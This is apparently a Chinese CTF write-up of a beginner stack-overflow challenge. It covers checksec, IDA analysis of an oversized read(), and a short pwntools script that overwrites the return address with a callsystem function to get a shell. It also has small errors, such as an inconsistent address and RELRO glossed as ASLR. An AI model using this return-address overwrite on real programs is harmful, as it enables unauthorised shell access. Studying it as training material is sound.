做题步骤
一、使用Ubuntu,对pwn文件进行扫瞄;
file语句主要用来看本文件是多少位的,是不是elf文件——ELF文件详解—初步认识_code&poetry的博客-CSDN博客_elf文件,(该链接详细介绍了elf文件的基本结构),图中显示64-bit,意思是64位的文件
checksec命令是用来查看该文件有哪些保护措施。
NX(DEP):数据执行防护
Canary(FS):栈溢出保护
RELRO(ASLR):(地址随机化)
PIE(代码地址随机化)
因为该题比较简单,所以防护比较少。
二、使用IDA
因为文件是64位的,所以用ida64打开,按F5反汇编成为c语言代码,要找溢出漏洞,我们首先得找哪里有输入,暂时main函数内未找到,但是我们怀疑再vulnerable_function中有溢出双击打开开函数
read函数规定最大可以写入0X200个字节,而buf到栈底只有0X80,所以有溢出。
双击buf之后,看以看到buf直接通到栈底,并且最后有八个字节用来接收返回地址,所以我们可以就此进行覆盖,使其返回到我们想要的地址上去(也就是system函数所在的地址上去,这样获取/bin/sh,获得后门)
我们应该对system,/bin/sh等字眼比较敏感,有一个callsystem,点开发现我们想要的,找到该函数地址为0x40596
根据main函数的结构我们知道,我们要先接收helloworld字符串,再输入,输入我们构造好的字符
串payload。
from pwn import *
io = remote("111.200.241.244",58424)//建立远程连接,也就是链接该题目的环境
callsystem = 0x400596
io.recvline()//接受一行函数的输出
payload = 0x88*b'a' + p64(callsystem)//先将buf和rbp覆盖掉,再写入callsystem的地址。
io.sendline(payload)
io.interactive()
在虚拟机中执行该文件。
交互正常进行,所以成功,ls列出该目录下的所有文件,cat抓取flag。
总结
1.了解文件的结构,有哪些漏洞。
2.学会找在哪里会出现溢出漏洞,并做好总结。
3.对于相关字眼要敏感。
4.要理解解题步骤。